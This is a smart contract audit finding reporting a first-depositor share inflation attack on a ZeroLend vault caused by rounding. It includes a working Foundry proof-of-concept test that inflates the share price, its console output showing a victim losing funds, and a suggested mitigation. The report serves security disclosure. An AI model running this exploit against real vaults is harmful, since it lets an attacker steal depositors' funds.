Joyous Cedar Tortoise

Medium

# A malicious attacker can frontrun and grief the deposit of the first depositor

### Summary

A malicious attacker can frontrun and steal the deposit of the first depositor. The attack cost is half of the stolen funds.

### Root Cause

When [depositing](https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/vaults/CuratedVault.sol#L322), the shares minted rounds down. When withdrawing, the shares burned rounds up. An attacker can exploit this to effectively donate to the protocol, by repeatedly depositing and withdrawing funds. This inflates the value of a share, causing the next depositor to receive 0 shares.

### Internal pre-conditions

The vault asset has 18 decimals of precision

### External pre-conditions

_No response_

### Attack Path

_No response_

### Impact

The first depositor loses their funds

### PoC

Add the following test to `ERC4626Test.sol`

```solidity
function testJ_vaultInflationAttack() public {
    uint256 initialBalance = 100e18;
    uint256 deposited = 1e18;
    uint256 borrowedAssets = 1e17;

    deal(address(loanToken), supplier, initialBalance);
    uint256 supplierBalanceBefore = loanToken.balanceOf(supplier);

    address victim = makeAddr("victim");
    deal(address(loanToken), victim, 20e18); 

    vm.prank(supplier);
    vault.deposit(deposited, supplier);

    //Borrower borrows//
    deal(address(collateralToken), borrower, 20e18);
    deal(address(loanToken), borrower, 1e12); // enough to cover interest

    vm.startPrank(borrower);
    allMarkets[0].supplySimple(address(collateralToken), borrower, 1e18, 0);
    allMarkets[0].borrowSimple(address(loanToken), borrower, borrowedAssets, 0);

    vm.warp(block.timestamp + 60);
    // Borrower repays (including interest) after a minute//
    loanToken.approve(address(allMarkets[0]), loanToken.balanceOf(borrower));
    allMarkets[0].repaySimple(address(loanToken), type(uint256).max, 0);

    vm.stopPrank();
    vm.startPrank(supplier);
    uint256 redeemed = vault.withdraw(vault.totalAssets() - 2, supplier, supplier);
    vm.stopPrank();

    print_data(); // Show that the initial state (totalAssets=2, totalSupply=1) has been achieved

    vm.startPrank(supplier);
    for (uint256 i = 0; i < 64; i++) {
        vault.deposit(vault.totalAssets(), supplier);
        if (vault.totalSupply() == 2) vault.withdraw(1, supplier, supplier); // burn a whole share by withdrawing 1 wei of asset
        //print_data();
    }

    console.log("attacker balance after inflation: %e", loanToken.balanceOf(supplier));
    console.log("\nInflation done\n");
    print_data();

    uint256 victimBefore = loanToken.balanceOf(victim);
    vm.startPrank(victim);
    loanToken.approve(address(vault), loanToken.balanceOf(victim));
    uint256 shares = vault.deposit(vault.totalAssets()/2 - 1, supplier);
    assertEq(shares, 0); // 0 shares minted, so deposit is lost
    console.log("victim fund loss: %e", victimBefore - loanToken.balanceOf(victim));

    vm.startPrank(supplier);
    console.log("\nCollecting Profit\n");

    vault.redeem(vault.balanceOf(supplier), supplier, supplier);

    console.log("attack cost: %e", supplierBalanceBefore - loanToken.balanceOf(supplier));
}
```

**Console log:**

```bash
[PASS] testJ_vaultInflationAttack() (gas: 13533374)
Logs:
  totalAssets: 2e0, totalSupply: 1e0
  attacker balance after inflation: 8.1553256832810543275e19
  
Inflation done

  totalAssets: 1.8446743117751650358e19, totalSupply: 1e0
  victim fund loss: 9.223371558875825178e18
  
Collecting Profit

  attack cost: 4.611685841943580758e18

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 62.94ms (55.66ms CPU time)

Ran 1 test suite in 64.22ms (62.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

It is recommended to include a small initial deposit of 1000 shares on deployment of the pool.